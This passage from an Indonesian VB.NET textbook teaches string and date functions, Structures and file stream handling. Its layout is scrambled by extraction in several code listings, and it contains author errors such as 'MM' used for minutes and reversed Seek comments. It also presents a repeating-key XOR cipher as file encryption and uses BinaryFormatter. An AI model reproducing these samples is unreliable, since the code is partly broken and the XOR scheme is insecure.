Ltrim(x), mengembalikan string dengan menghilangkan spasi didepan string x. Rtrim(x), mengembalikan string dengan menghilangkan spasi dibelakang string x. Trim(x), mengembalikan string dengan prilaku gabungan Ltrim dan Rtrim. StrReverse(x), mengembalikan string yang membalikan karakter dalam string x. Contoh :
Option Explicit On Imports System Imports Microsoft.VisualBasic Public Module modStr Sub Main() Dim Nama As String = "Susan" Console.WriteLine(Nama) Console.WriteLine(StrReverse(Nama)) End Sub End Module

'Susan 'nasuS

InStr(y, x, z), mencari dari depan posisi keberadaan substring z dalam string x mulai posisi y. InStrRev(x, z, y), mencari dari belakang posisi keberadaan substring z dalam string x mulai posisi y. Contoh :

INDOPROG

48

Bahasa pemrograman VB.NET

Hendra, S.T.

Option Explicit On Imports System Imports Microsoft.VisualBasic Public Module modStr Sub Main() Dim Nama As String = "Felicia Fortuna" Console.WriteLine(InStr(1,Nama,"i")) Console.WriteLine(InStr(5,Nama,"i")) Console.WriteLine(InStrRev(Nama,"F",10)) Console.WriteLine(InStrRev(Nama,"F",7)) End Sub End Module

'4 '6 '9 '1

StrDup(y, x), mengembalikan string yang merupakan duplikasi character x sebanyak y. StrComp(x,y,z), mengembalikan nilai -1, 0, atau 1 yang merupakan perbandingan antara string x dengan string y, dengan metode z, dimana -1 (x < y), 0 (x =y), dan 1 (x > y), dan metode z adalah CompareMethod.Text dan CompareMethod.Binary. Contoh :
Option Explicit On Imports System Imports Microsoft.VisualBasic Public Module modStr Sub Main() Dim Nama1 As String = "felicia" Dim Nama2 As String = "FELICIA" Console.WriteLine(StrDup(10,"-")) '---------Console.WriteLine(StrComp(Nama1,Nama2,CompareMethod.Text)) '0 Console.WriteLine(StrComp(Nama1,Nama2,CompareMethod.Binary)) '1 End Sub End Module

Catatan : Pada metode Binary, perbandingan dilakukan berdasarkan nilai ASCII, dimana ASCII huruf kecil > dari huruf besar, contoh A = 65, dan a = 97. Split(x,y), mengembalikan array string yang merupakan hasil pemisahan dari string x dengan delimeter y
Option Explicit On Imports System Imports Microsoft.VisualBasic Public Module modStr Sub Main() Dim Nama As String = "Felicia Fortuna" Dim aNama() As String = Split(Nama," ") Console.WriteLine(aNama(0)) 'Felicia

INDOPROG

49

Bahasa pemrograman VB.NET

Hendra, S.T.

Console.WriteLine(aNama(1)) End Sub End Module

'Fortuna

Join(x,y), mengembalikan string yang merupakan hasil gabungan array string x dengan delimeter y
Option Explicit On Imports System Imports Microsoft.VisualBasic Public Module modStr Sub Main() Dim aNama() As String = {"Felicia","Fortuna"} Console.WriteLine(Join(aNama,", ")) 'Felicia, End Sub End Module

Fortuna

Replace(x,y,z,[1],[2],[3]), mengembalikan string yang merupakan pengantian string y dengan z dalam string x mulai posisi [1] sampai sejumlah karakter [2], dengan metode perbandingan [3]. Contoh :
Option Explicit On Imports System Imports Microsoft.VisualBasic Public Module modStr Sub Main() Dim Nama As String = "Hendra" Console.WriteLine(Replace(Nama,"a","o")) End Sub End Module

'Hendro

StrConv(x,y), menghasilkan string yang merupakan hasil konversi dengan metode y dari string x, dimana y (VBStrConv.UpperCase, VBStrConv.LowerCase, VBStrConv.ProperCase) Contoh :
Option Explicit On Imports System Imports Microsoft.VisualBasic Public Module modStr Sub Main() Dim Nama As String = "Hendra" Console.WriteLine(StrConv(Nama,VbStrConv.UpperCase)) Console.WriteLine(StrConv(Nama,VbStrConv.LowerCase)) Console.WriteLine(StrConv(Nama,VbStrConv.ProperCase)) End Sub

'HENDRA 'hendra 'Hendra

INDOPROG

50

Bahasa pemrograman VB.NET

Hendra, S.T.

End

Module

FormatDateTime(x,y), menghasilkan string hasil konversi date x dengan format sesuai dengan setting pada komputer, dimana y (DateFormat.GeneralDate, DateFormat.LongDate, DateFormat.ShortDate, DateFormat.LongTime, DateFormat.ShortTime) Contoh :
Option Explicit On Imports System Imports Microsoft.VisualBasic Public Module modStr Sub Main() Console.WriteLine(FormatDateTime(Now,DateFormat.LongDate)) 'Sunday, May 22, 2005 End Sub End Module

FormatCurrency(x,y), menghasilan string yang merupakan format currency dari angka x dengan jumlah desimal y. FormatPercent(x,y), menghasilkan string yang merupakan format percent dari angka x dengan jumlah desimal y. FormatNumber(x,y), menghasilkan string yang merupakan format angka dari angka x dengan jumlah desimal y. Contoh :
Option Explicit On Imports System Imports Microsoft.VisualBasic Public Module modStr Sub Main() Dim Angka As Decimal = 100000 Dim PPN As Single = 0.1 Console.WriteLine(FormatCurrency(Angka,2)) Console.WriteLine(FormatNumber(Angka,2)) Console.WriteLine(FormatPercent(PPN,2)) End Sub End Module

'$100,000.00 '100,000.00 '10.00%

Format(x,y), menghasilkan string yang merupakan format dari argumen x dengan format y, dengan format yang dapat dilihat pada lampiran 1. Contoh :

INDOPROG

51

Bahasa pemrograman VB.NET

Hendra, S.T.

Option Explicit On Imports System Imports Microsoft.VisualBasic Public Module modStr Sub Main() Console.WriteLine(Format(10000,"#,##0.00")) '10,000.00 Console.WriteLine(Format(Now,"dd/MM/yyyy HH:MM:SS")) '22-05-2005 20:15:01 End Sub End Module

Filter(x,y,[1],[2]), menghasilkan array yang berisi string dari array string x yang mana elemen yang mengandung substring y, dengan ketentuan [1] (true=contain, false = exclude), dengan compare method [2]. Contoh :
Option Explicit On Imports System Imports Microsoft.VisualBasic Public Module modStr Sub Main() Dim aNama1() As String = {"Hendra","Susan","Felicia Fortuna"} Dim aNama2() As String = Filter(aNama1,"r",true,CompareMethod.Binary) For Each A As String In aNama2 'Hendra & Felicia Fortuna Console.WriteLine(A) Next End Sub End Module

Latihan :
1. Buatlah program yang dapat menghasilkan terbilang dari suatu bilangan, contoh 123,456,789 (Seratus dua puluh tiga juta empat ratus lima puluh enam ribu tujuh ratus delapan puluh sembilan).

INDOPROG

52

Bahasa pemrograman VB.NET

Hendra, S.T.

Tipe data Date
Pada Visual Basic variabel date disimpan sebagai integer IEEE 64-bit (8-byte) yang mewakili tanggal dengan jangkauan dari 1 Januari tahun 1 sampai dengan 31 Desember tahun 9999, dan waktu dari 0:00:00 (tengah malam) sampai 23:59:59. Nilai tanggal harus diapit diantara tanda angka (#) dan diformat dalam M/d/yyyy, sebagai contoh #5/31/1993#. Anda dapat memberikan nilai awal pada variabel tipe Date dengan penulisan sebagai berikut :
Dim Tanggal As Date = New Date(2005, 5, 30, 8, 29, 59, 900)

Dimana akan memberikan nilai Tanggal 30 Mei 2005 Pukul 8:29:59.900 ke variabel Tanggal.

Member pada Class Date
Date
TimeOfDay Day Month Year Hour Minute Second Millisecond DayOfWeek DayOfYear Ticks Now Today UtcNow Mengambil komponen tanggal dari instance Mengambil komponen waktu dari instance Mengambil nomor hari (1-31) dalam bulan dari instance Mengambil komponen bulan (1-12) dari instance Mengambil komponen tahun dari instance Mengambil komponen jam (0-23) dari instance Mengambil komponen menit (0-59) dari instance Mengambil komponen detik (0-59) dari instance Mengambil komponen mili detik (0-999) dari instance Mengambil nomor hari (0-6) dalam minggu dari instance Mengambil nomor hari (1-366) dalam tahun dari instance Mengambil jumlah ticks dari instance Mendapatkan tanggal dan waktu komputer Mendapatkan mendapatkan tanggal komputer Mendapatkan tanggal dan wkatu komputer yang telah diknversi menjadi coordinated universal time (UTC).

Contoh :
Option Explicit Imports System Public Module On

ModDate

INDOPROG

53

Bahasa pemrograman VB.NET

Hendra, S.T.

Sub

Main() Dim Tanggal As Date = New Date(2005,5,30,8,29,40,900) Console.WriteLine(Tanggal.Date()) '30-05-2005 Console.WriteLine(Tanggal.TimeOfDay()) '08:29:40.9000000 Console.WriteLine(Tanggal.Day()) '30 Console.WriteLine(Tanggal.Month()) '5 Console.WriteLine(Tanggal.Year()) '2005 Console.WriteLine(Tanggal.Hour()) '8 Console.WriteLine(Tanggal.Minute()) '29 Console.WriteLine(Tanggal.Second()) '40 Console.WriteLine(Tanggal.MilliSecond()) '900 '1 Console.WriteLine(Tanggal.DayOfWeek()) '150 Console.WriteLine(Tanggal.DayOfYear()) '632530385809000000 Console.WriteLine(Tanggal.Ticks()) '30-05-2005 08:30:29 PM Console.WriteLine(DateTime.Now()) '30-05-2005 Console.WriteLine(Tanggal.Today()) '30-05-2005 1:37:20 PM Console.WriteLine(Tanggal.UTCNow()) End Sub End Module

Visual Basic menyediakan berbagai fungsi bantu yang merupakan member dari namespace Microsoft.VisualBasic
AddDays AddMonths AddYears AddHours AddMinutes AddSeconds AddMilliseconds Option Explicit Imports System On Menambah sejumlah hari (+/-) ke instance. Menambah sejumlah bulan (+/-) ke instance Menambah sejumlah tahun (+/-) ke instance Menambah sejumlah jam (+/-) ke instanace Menambah sejumkah menit (+/-) ke instance Menambah sejumlah detik (+/-) ke instance Menambah sejumlah millidetik (+/-) ke instance

Public Module ModDate Sub Main() Dim Tanggal As Date = New Date(2005,5,30,8,29,40,900) Console.WriteLine(Tanggal.AddDays(-10)) '20-5-2005 8:29:40.900 End Sub End Module Parse Mengkonversi string dalam bentuk tanggal dan waktu ke DateTime. On

Option Explicit Imports System

Public Module ModDate Sub Main() Dim Str As String = "30-5-2005 08:30:50.900"

INDOPROG

54

Bahasa pemrograman VB.NET

Hendra, S.T.

Dim Tanggal As Date Tanggal = DateTime.Parse(Str) Console.WriteLine(Tanggal) End Sub End Module

Compare

Membandingkan dua instance dari DateTime dam mengembalikan ( < 0 jika tanggal1 < tanggal2, = 0 jika tanggal1 = tanggal2, dan > 0 jika tanggal1 > tanggal2) Mengembalikan jumlah hari dalam tahun dan bulan tertentu. Mengembalikan indikasi apakah tahun yang diberikan kabisat On

DaysInMonth IsLeapYear Option Explicit Imports System

Public Module ModDate Sub Main() Dim Tanggal1 As Date = New Date(2005,5,30) Dim Tanggal2 As Date = New Date(2005,5,31) Console.WriteLine(DateTime.Compare(Tanggal1,Tanggal2)) Console.WriteLine(DateTime.DaysInMonth(2005,5)) Console.WriteLine(DateTime.IsLeapYear(2005)) End Sub End Module Subtract Option Explicit Imports System On

'-1 '31 'False

Menghasilkan selisih antara suatu datetime dengan instance

Public Module ModDate Sub Main() Dim Tanggal1 As Date = New Date(2005,5,30) Dim Tanggal2 As Date = New Date(2005,5,31) Console.WriteLine(Tanggal1.Subtract(Tanggal2)) End Sub End Module

'-1

00:00:00

ToLocalTime

Konversi Instance ke LocalTime

ToLongDateString Konversi Instance ke String dengan format setting LongDateString ToLongTimeString Konversi Instance ke String dengan format setting LongTime ToShortDateString Konversi Instance ke String dengan format setting ShortDate ToShortTimeString Konversi Instance ke String dengan format setting ShortTime ToString ToUniversalTime Konversi Instance ke String Konversi Instance ke UTC

INDOPROG

55

Bahasa pemrograman VB.NET

Hendra, S.T.

Module Date pada Namespace Microsoft.VisualBasic
DateSerial(year,month,day), mengembalikan data tanggal sesuai dengan tahun, bulan dan hari yang ditentukan. TimeSerial(hour, minute, second), mengembalikan waktu sesuai dengan jam, menit dan detik. Now(), mengembalikan tanggal dan waktu komputer. Today(), mengembalikan tanggal komputer. TimeOfDay(), mengembalikan tanggal komputer dalam bentuk string. Timer(), mengembalikan data bertipe double yang menunjukan jumlah detik sejak tengah malam. DateString(), mengembalikan tanggal komputer dengan format MM-dd-yyyy dalam bentuk string. TimeString(), mengembalikan waktu komputer DateValue(string), mengembalikan tanggal dari hasil konversi string tanggal. Day(DateTime), mengembalikan bagian hari dari data tanggal Month(DateTime), mengembalikan bagian bulan dari data tanggal Year(DateTime), mengembalikan bagian tahun dari data tanggal Hour(DateTime), mengembalikan bagian jam dari data tanggal Minute(DateTime), mengembalikan bagian menit dari data tanggal Second(DateTime), mengembalikan bagian detik dari data tanggal Weekday(DateTime, DayofWeek), mengembalikan nomor hari dalam minggu dari DateTime (1 = minggu, …7 = sabtu). WeekdayName(WeekDay, Abbrev), mengembalikan nama hari berdasarkan nomor hari. (Abbrev = True, singkatan)

INDOPROG

56

Bahasa pemrograman VB.NET

Hendra, S.T.

DateAdd(Interval, Number, DateValue), mengembalikan tanggal dari hasil penjumlahan DateValue terhadap Number dalam arti interval tertentu
Enumeration value String Unit of time interval to add Day; truncated to integral value DateInterval.Day d Day; truncated to integral value DateInterval.DayOfYear y Hour; rounded to nearest millisecond DateInterval.Hour h Minute; rounded to nearest millisecond DateInterval.Minute n DateInterval.Month m Month; truncated to integral value DateInterval.Quarter q Quarter; truncated to integral value DateInterval.Second s Second; rounded to nearest millisecond DateInterval.Weekday w Day; truncated to integral value DateInterval.WeekOfYear ww Week; truncated to integral value DateInterval.Year yyyy Year; truncated to integral value

DateDiff(Interval, Date1, Date2), menghasilkan selisih antara Date2 terhadap Date1 berdasarkan interval tertentu. Returns a Long value specifying the number of time intervals between two Date values. DatePart(Interval, DateValue), mengembalikan nilai Integer yang berkaitan dengan interval dari DataValue Catatan : Visual Basic .NET telah mengantikan Date dan Time dengan Today dan TimeOfDay, kemudian fungsi Date$ dan Time$ dengan DateString dan TimeString.

INDOPROG

57

Bahasa pemrograman VB.NET

Hendra, S.T.

Structure pada Visual Basic
Visual Basic menyedia perintah Structure untuk pembentukan tipe data terstruktur, misalnya kita akan mengolah data ujian mahasiswa dengan tabel sebagai berikut : Nim Nama Tugas Mid Semester

Dimana dapat ditulis sebagai struktur berikut ini :
Structure Ujian <VBFixedString(10)> Public Nim As String <VBFixedString(30)> Public Nama As String Public Tugas, Mid, Semester As Single End Structure

Catatan : Sebagaimana telah dinyatakan sebelumnya bahwa secara default string pada Visual Basic adalah variable length, dan untuk membentuk string dengan fixed length kita membutuhkan vbFixedStringAttribute Class, dimana pada awal deklarasi string kita mencantumkan <VBFixedString(ukuran)> Salah satu keunggulan pada Structure di Visual Basic adalah kita dapat menambahkan koding kedalamnya untuk membuat metoda dan property, contoh misalnya kita akan menambah property Rata-rata untuk menghitung nilai rata-rata Tugas, Mid dan Semester, sehingga deklarasi Structure dapat ditulis menjadi :
Option Explicit On Imports System Imports Microsoft.VisualBasic Public Module ModStruct Structure Ujian <VBFixedString(10)> Public Nim As String <VBFixedString(30)> Public Nama As String Public Tugas,Mid,Semester As Single Public ReadOnly Property RataRata() As Get Return (Tugas+Mid+Semester)/3 End Get End Property End Structure Dim DaftarUjian As Ujian Sub Main() DaftarUjian.Nim

Single

=

"920403024"

INDOPROG

58

Bahasa pemrograman VB.NET

Hendra, S.T.

DaftarUjian.Nama = "Hendra Soewarno" DaftarUjian.Tugas = 90 DaftarUjian.Mid = 90 DaftarUjian.Semester = 90 Console.WriteLine(DaftarUjian.RataRata) End Sub End Module

Contoh program membaca data ke array structure dan mencetak kembali :
Option Explicit On Imports System Imports Microsoft.VisualBasic Public Module ModStruct Structure Ujian <VBFixedString(10)> Public Nim As String <VBFixedString(30)> Public Nama As String Public Tugas,Mid,Semester As Single Public ReadOnly Property RataRata() As Get Return (Tugas+Mid+Semester)/3 End Get End Property End Structure Dim Jd As Integer = 0 Dim DaftarUjian() As Ujian Private Sub BacaData Dim Nim As String Do Console.WriteLine("Record ke {0}",Jd+1) Console.Write("Nim : ") Nim = Console.ReadLine() If Nim.Trim.Length > 0 ReDim Preserve DaftarUjian(Jd) DaftarUjian(jd).Nim = Nim Console.Write("Nama : ") DaftarUjian(jd).Nama = Console.ReadLine() Console.Write("Tugas : ") DaftarUjian(jd).Tugas = Console.ReadLine() Console.Write("Mid : ") DaftarUjian(jd).Mid = Console.ReadLine() Console.Write("Semester : ") DaftarUjian(jd).Semester = Console.ReadLine() Jd = Jd + 1 End If Loop Until Len(Trim(Nim)) = 0 End Sub Private Sub CetakData() Dim Record As Ujian Console.WriteLine("Daftar Console.WriteLine
Console.WriteLine("Nim Nama

Single

Ujian

Mahasiswa")
T M S R ")

INDOPROG

59

Bahasa pemrograman VB.NET

Hendra, S.T.

Console.WriteLine("----------------------------------------------------------------------")

Each Record In DaftarUjian Console.WriteLine("{0} {1} {2,6:f2} {5,6:f2}", _ Record.Nim.PadRight(10), _ Record.Nama.PadRight(30), _ Record.Tugas, _ Record.Mid, _ Record.Semester, _ Record.RataRata) Next End Sub Sub Main() Call BacaData Call CetakData End Sub

For

{3,6:f2}

{4,6:f2}

End

Module

Latihan :
1. Kembangkan program diatas untuk mencetak Daftar Ujian Mahasiswa, dimana ditampilkan nilai rata-rata diikuti dengan nilai Huruf (A, B, C, D, atau E), serta tampilkan jumlah yang Lulus (C Keatas), dan Rata-rata kelas, serta NIM mahasiswa peringkat pertama, dengan pendekatan terstruktur. Catatan : Kategori nilai Huruf dicetak dengan membuat Properti NilaiHuruf pada Structure Ujian.

INDOPROG

60

Bahasa pemrograman VB.NET

Hendra, S.T.

Pengolahan file stream pada Visual Basic
Sebagaimana bahasa pemrograman modern lainnya yang memperlakukan input/output data byte sebagai Streams. Streams meliputi tiga operasi yang mendasar: 1. Anda dapat membaca dari streams. Membaca dalam hal ini adalah mentransfer data dari suatu stream ke dalam suatu struktur data, seperti suatu array dari byte. 2. Anda dapat menulis ke streams. Menulis adalah mentransfer data dari suatu struktur data ke dalam suatu stream. 3. Stream mendukung pencarian. Pencarian adalah melakukan query dan modifikasi terhadap posisi dalam suatu stream. Kemampuan pencarian sangat tergantung pada jenis media penampung stream. Sebagai contoh FileStream mendukung perubahan posisi, sedangkan network stream tidak. Stream merupakan abstract base class untuk semua stream. Suatu stream adalah abstraction dari rangkain byte, seperti suatu file, peralatan input/output, inter-process communication pipe, atau suatu TCP/IP socket. Untuk pengolahan stream yang berkaitan dengan file perlu melakukan Imports System.IO, untuk menggunakan File Class.

File Class
Menyediakan metode-metode static untuk pembuatan, menduplikasi, menghapus, dan membuka file. Berikut ini adalah beberapa member File Class : File.Exists(namafile), mendeteksi keberadaan file File.Delete(namafile), menghapus file yang ditentukan File.Copy(asal,tujuan), menduplikasi file asal ke file tujuan File.Move(asal,tujuan), memindahkan file ke lokasi baru dengan nama baru File.GetAttributes(namafile), mendapatkan attribut dari file, dimana mengembalikan salah satu nilai dari member FileAttributes :
Member name Archive Description The file's archive status. Applications use this attribute to mark files for backup or removal. The file is compressed. 32 Value

Compressed

2048

Device

Reserved for future use.

64

Directory

The file is a directory.

16

INDOPROG

61

Bahasa pemrograman VB.NET

Hendra, S.T.

Encrypted

The file or directory is encrypted. For a file, this means that all data in the file is encrypted. For a directory, this means that encryption is the default for newly created files and directories. The file is hidden, and thus is not included in an ordinary directory listing. The file is normal and has no other attributes set. This attribute is valid only if used alone. The file will not be indexed by the operating system's content indexing service.

16384

Hidden

2

Normal

128

NotContentIndexed

8192

Offline

The file is offline. The data of the file is not immediately available. 4096

ReadOnly

The file is read-only.

1

ReparsePoint

The file contains a reparse point, which is a block of user-defined data associated with a file or a directory. The file is a sparse file. Sparse files are typically large files whose data are mostly zeros. The file is a system file. The file is part of the operating system or is used exclusively by the operating system. The file is temporary. File systems attempt to keep all of the data in memory for quicker access rather than flushing the data back to mass storage. A temporary file should be deleted by the application as soon as it is no longer needed.

1024

SparseFile

512

System

4

Temporary

256

File.GetCreationTime(namafile), mendapatkan tanggal dan waktu pembuatan file File.GetLastAccessTime(namafile), mendapatkan tanggal dan waktu file terakhir kali diakses. File.GetLastWriteTime(namafile), mendapatkan tanggal dan waktu file terakhir kali ditulisi. File.SetCreationTime(namafile, waktu) File.SetLastAccessTime(namafile, waktu) File.SetLastWriteTime(namafile,waktu)

Pengolahan Text File
Pengolahan text file secara Stream dapat menggunakan StreamWriter dan StreamReader dengan metode berikut ini : File.CreateText(namafile), membuat file baru sebagai streamwriter, selanjutnya kita dapat menggunakan metoda Write maupun WriteLine pada streamwriter untuk melakukan penulisan ke file.

INDOPROG

62

Bahasa pemrograman VB.NET

Hendra, S.T.

File.OpenText(namafile), membuka file yang telah ada sebagai streamreader, dan selanjutnya kita dapat menggunakan metoda Read, ReadLine, kemudian untuk memeriksa keberadaan data untuk dibaca dapat menggunalan fungsi Peek File.AppendText(namafile), membuka file yang telah ada untuk streamwrite. Contoh :
Option Explicit On Imports System Imports System.IO Public Module ModTextFile Sub Main() Dim sw As StreamWriter = File.CreateText("c:\belajar.txt") sw.WriteLine("Buku Belajar Vb.net") sw.Flush() sw.Close() Dim sr As StreamReader = File.OpenText("c:\belajar.txt") Do While sr.Peek() >= 0 Console.WriteLine(sr.ReadLine()) Loop sr.Close() sw = File.AppendText("C:\belajar.txt") sw.WriteLine("Oleh : Hendra Soewarno") sw.Flush() sw.Close() sr = File.OpenText("c:\belajar.txt") Do While sr.Peek() >= 0 Console.WriteLine(sr.ReadLine()) Loop sr.Close() End Sub Module

End

Pengolahan File Binary
Pengolahan BinaryFile secara Stream dapat menggunakan FileStream dengan metode berikut ini : File.Create(namafile), membuat file baru sebagai filestream, anda dapat menggunakan metode Write, WriteByte pada filestream untuk melakukan penulisan ke file. File.OpenRead(namafile), membuka file yang telah ada sebagai filestream, anda dapat menggunakan metoda Read, ReadByte pada filestream untuk melakukan pembacaan dari file. File.OpenWrite(namafile), membuka file yang telah ada sebagai filestream.

INDOPROG

63

Bahasa pemrograman VB.NET

Hendra, S.T.

Membaca dari FileStream
Kita dapat menggunakan metoda read untuk membaca data dari FileStream Terbaca = Fs.Read(buffer,index,count) dimana buffer adalah array dari byte atau karakter, kemudian index adalah posisi index pada array, dan count adalah jumlah byte yang ingin ditulis. Fungsi read akan mengembalikan jumlah byte yang berhasil dibaca (jumlah byte terbaca dapat lebih kecil dari count apabila EOF telah dicapai).

Menulis ke FileStream
Kemudian dapat digunakan metoda write untuk menulis data terhadap FileStream Tertulis = Fs.Write(buffer,index,count)

Menutup FileStream
Anda dapat menggunakan metoda Close untuk menutup FileStream yang terbuka. Fs.Close Contoh Program simulasi perintah copy pada dos:
Option Explicit On Imports System Imports System.IO Public Sub Module ModFS String)

Main(ByVal CmdArgs() As Dim Buffer(511) As Byte

If CmdArgs.Length < 2 Then Console.WriteLine("Pemakaian : <filetujuan>") End End If If File.Exists(CmdArgs(0)) Then Dim Dim FSS As FileStream FST As FileStream =

duplikat

<fileasal>

= File.OpenRead(CmdArgs(0)) File.Create(CmdArgs(1))

Dim Terbaca As Integer = 0 Dim I As Integer Do Terbaca = FSS.Read(Buffer,0,Buffer.Length()) FST.Write(Buffer,0,Terbaca) Loop Until Terbaca < 512

INDOPROG

64

Bahasa pemrograman VB.NET

Hendra, S.T.

FSS.Close() FST.Close() Else Console.WriteLine("File End If End Sub End Module asal tidak ditemukan !")

Pembukaan File Binary dengan FileStream Constructor
Selain dengan menggunakan File.Create, FileOpenRead, dan FileOpenWrite, kita dapat juga membuka FileStream dengan menggunakan constructor : Syntax : FileStream Constructor(nama file, FileMode, FileAccess, FileShare) Dimana Enumeration member untuk FileMode adalah sebagai berikut :
Append Membuka atau membuat filebaru, dan menempatkan posisi file pointer pada EOF (harus disertai dengan FileAccess.Write) Create Membuat file baru atau file lama akan ditimpa. CreateNew Membuat file baru dan akan menyebabkan exception kalau file telah ada Open Membuka file dan akan menyebabkan exception kalau file belum ada OpenOrCreate Membuka atau membuat file baru jika belum ada Truncate Membuka file dan mengosongkan isi file tersebut

Dan Enumeration member untuk FileAccess adalah sebagai berikut :
Read ReadWrite Write Akses membaca data dari file Akses membaca dan menulis data ke file Akses menulis file

Dan Enumeration member untuk FileShare adalah sebagai berikut :
None Read ReadWrite Write Tidak memungkinkan pembukaan file oleh proses lain (Single User) Multiuser dengan pembatasan proses lain hanya dapat hak membaca Multiuser Multiuser dengan pembatasan proses lain hanya dapat hak menulis

Contoh Program simulasi perintah copy pada dos dengan constructor FileStream:
Option Explicit On Imports System Imports System.IO

INDOPROG

65

Bahasa pemrograman VB.NET

Hendra, S.T.

Public Sub

Module

ModDup String)

Main(ByVal CmdArgs() As Dim Buffer(511) As Byte

If CmdArgs.Length < 2 Then Console.WriteLine("Pemakaian : duplikasi <fileasal> <filetujuan>") End End If If File.Exists(CmdArgs(0)) Then Dim FSS As FileStream = new FileStream(CmdArgs(0), _ FileMode.Open, _ FileAccess.Read) Dim FST As FileStream = new FileStream(CmdArgs(1), _ FileMode.Create, _ FileAccess.Write) Dim Terbaca As Integer = 0 Do Terbaca = FSS.Read(Buffer,0,Buffer.Length()) FST.Write(Buffer,0,Terbaca) Loop Until Terbaca < 512 FSS.Close() FST.Close() Else Console.WriteLine("File End If End Sub End Module asal tidak ditemukan !")

Pengolahan Random File
Secara Stream, Visual Basic tidak menyediakan metoda khusus untuk pengolahan random file untuk penyimpan data Structure, misalnya kita ingin menyimpan data hasil ujian mahasiswa sebagai berikut ini : Nim Nama Tugas Mid Semester

Dimana dapat ditulis sebagai struktur berikut ini :
Structure Ujian <VBFixedString(10)> Public Nim As String <VBFixedString(30)> Public Nama As String Public Tugas,Mid,Semester As Single Public ReadOnly Property RataRata() As Single

INDOPROG

66

Bahasa pemrograman VB.NET

Hendra, S.T.

Get Return (Tugas+Mid+Semester)/3 End Get End Property End Structure

Dan data tersebut diatas ingin kita simpan ke file.

Mendapatkan jumlah Record dalam file
Untuk mendapatkan jumlah record, kita dapat menggunakan ukuran FileStream dibagi dengan ukuran tiap record. Dim Record As Ujian JlhRec = Fs.Length()/Len(Record)

Memindahkan posisi stream pointer
Sesuai dengan istilah random file, tentu saja harus memiliki kemampuan untuk mengakses (membaca/menulis) ke record tertentu secara langsung, untuk keperluan tersebut kita dapat memindahkan posisi stream dengan perintah Seek. Fs.Seek(offset, origin) dimana offset adalah posisi (dalam ukuran byte) yang relatif terhadap SeekOrigin (begin, current, dan end) pada stream. Contoh : Fs.Seek(0,SeekOrigin.Begin) Fs.Seek(10,SeekOrigin.Current) Fs.Seek(-10,SeekOrigin.Current) 'Pindah ke posisi awal steam 'Pindah 10 byte ke belakang dari posisi sekarang 'Pindah 10 byte kedepan dari posisi sekarang

Pada pengolahan random file, kita dapat menggunakan formula berikut untuk menghitung offset pada stream : Offset = (recno - 1) * ukuran tiap record Contoh : Fs.Seek((1-1)*Len(Record)) Fs.Seek((10-1)*Len(Record)) 'Pindah ke posisi record 1 'Pindah ke posisi record 10

INDOPROG

67

Bahasa pemrograman VB.NET

Hendra, S.T.

Mendapatkan posisi Stream pointer
Untuk mendapatkan posisi Stream dapat digunakan property Position Contoh : Console.WriteLine(Fs.Position) Dan kita dapat menggunakan formula berikut untuk menghitung posisi record Norec = (Posisi Stream / Ukuran tiap record) + 1

Membaca/menulis record ke Stream
Untuk membaca dan menulis data ke stream kita perlu menggunakan BinaryFormatter, karena perintah Read dan Write yang tersedia pada FileStream membutuhkan struktur data array byte. Adapun BinaryFormatter berfungsi melakukan serialize dan deserialize terhadap objek menjadi format binary. Supaya suatu Structure dapat di serialize/deserialize, maka kita perlu menambahkan <Serializble> pada saat deklarasi structure tersebut. Contoh :
<Serializable> Structure Ujian <VBFixedString(10)> Public Nim As String <VBFixedString(30)> Public Nama As String Public Tugas,Mid,Semester As Single Public ReadOnly Property RataRata() As Get Return (Tugas+Mid+Semester)/3 End Get End Property End Structure

Single

Untuk menulis ke FileStream, kita dapat menggunakan metoda Serialize pada BinaryFormatter, dan untuk membaca kita dapat menggunakan metoda DeSerialize, Contoh :
Option Explicit On Imports System Imports System.IO Imports Microsoft.VisualBasic Imports System.Runtime.Serialization.Formatters.Binary Public Module ModStruct <Serializable> Structure Ujian <VBFixedString(10)> Public Nim As String <VBFixedString(30)> Public Nama As String Public Tugas,Mid,Semester As Single Public ReadOnly Property RataRata() As Single

INDOPROG

68

Bahasa pemrograman VB.NET

Hendra, S.T.

Get Return (Tugas+Mid+Semester)/3 End Get End Property End Structure Dim Dim Dim As Sub Jd As Integer = 0 Record As Ujian Ukuran As Integer = Len(Record) Dim Fm New BinaryFormatter

Main() Dim Fs As FileStream = new FileStream("c:\ujian.dat",FileMode.OpenOrCreate, FileAccess.ReadWrite, FileShare.None) Record.Nim = "123" 'Menulis record ke FileStream Fm.serialize(Fs,Record) Record.Nim = "234" 'Menulis record ke FileStream Fm.serialize(Fs,Record) 'Pindah stream ke record 1 Fs.Seek(0,SeekOrigin.Begin) 'Membaca record Record = Fm.deserialize(Fs) Console.WriteLine(Record.Nim) 'Membaca record Record = Fm.deserialize(Fs) Console.WriteLine(Record.Nim) Fs.Close() End Sub End Module

Latihan :
1. Buatlah program yang dapat mengkonversi semua huruf dalam text file ke huruf besar. 2. Buatlah program yang dapat menghitung jumlah baris dan kata yang terdapat pada suatu text file. 3. Kembangkan program untuk melakukan enkripsi/dekripsi terhadap fileasal dan menghasilkan filetujuan yang sudah tersandi dengan suatu kata kunci (dengan menggunakan filestream). 4. Buatlah program yang dapat menyimpan data ujian mahasiswa berdasarkan input dari pemakai dalam bentuk record. 5. Buatlah program yang dapat membaca record dari file yang sudah dibuat pada soal nomor 4, dan mencetak kembali dalam bentuk laporan. Jawaban :
Option Explicit On Imports System Imports System.IO Imports Microsoft.VisualBasic Public Module ModFS

Sub Main(ByVal CmdArgs() As String)

INDOPROG

69

Bahasa pemrograman VB.NET

Hendra, S.T.

Dim Buffer(511) As Byte If CmdArgs.Length < 2 Then Console.WriteLine("Pemakaian : End End If If File.Exists(CmdArgs(0)) Then Console.Write("Kata Dim KataKunci As As Kunci = :") Console.ReadLine() Dim

en

<fileasal>

<filetujuan>")

String

Kalimat

String = KataKunci

Do While Kalimat.Length() < 512 Kalimat = Kalimat + KataKunci Loop

Dim FSS As FileStream = new FileStream(CmdArgs(0), _ FileMode.Open, _ FileAccess.Read) Dim FST As FileStream = new FileStream(CmdArgs(1), _ FileMode.Create, _ FileAccess.Write) Dim Terbaca As Integer = 0 Dim I As Integer Do Terbaca = FSS.Read(Buffer,0,Buffer.Length()) For I = 0 to Terbaca-1 Buffer(I) = Buffer(I) XOR Asc(Kalimat.Chars(I)) Next I FST.Write(Buffer,0,Terbaca) Until Terbaca < 512

Loop

FSS.Close() FST.Close() Else Console.WriteLine("File End If End Sub End Module asal tidak ditemukan !")

INDOPROG

70

Bahasa pemrograman VB.NET

Hendra, S.T.

Try...Catch...Finally Statements
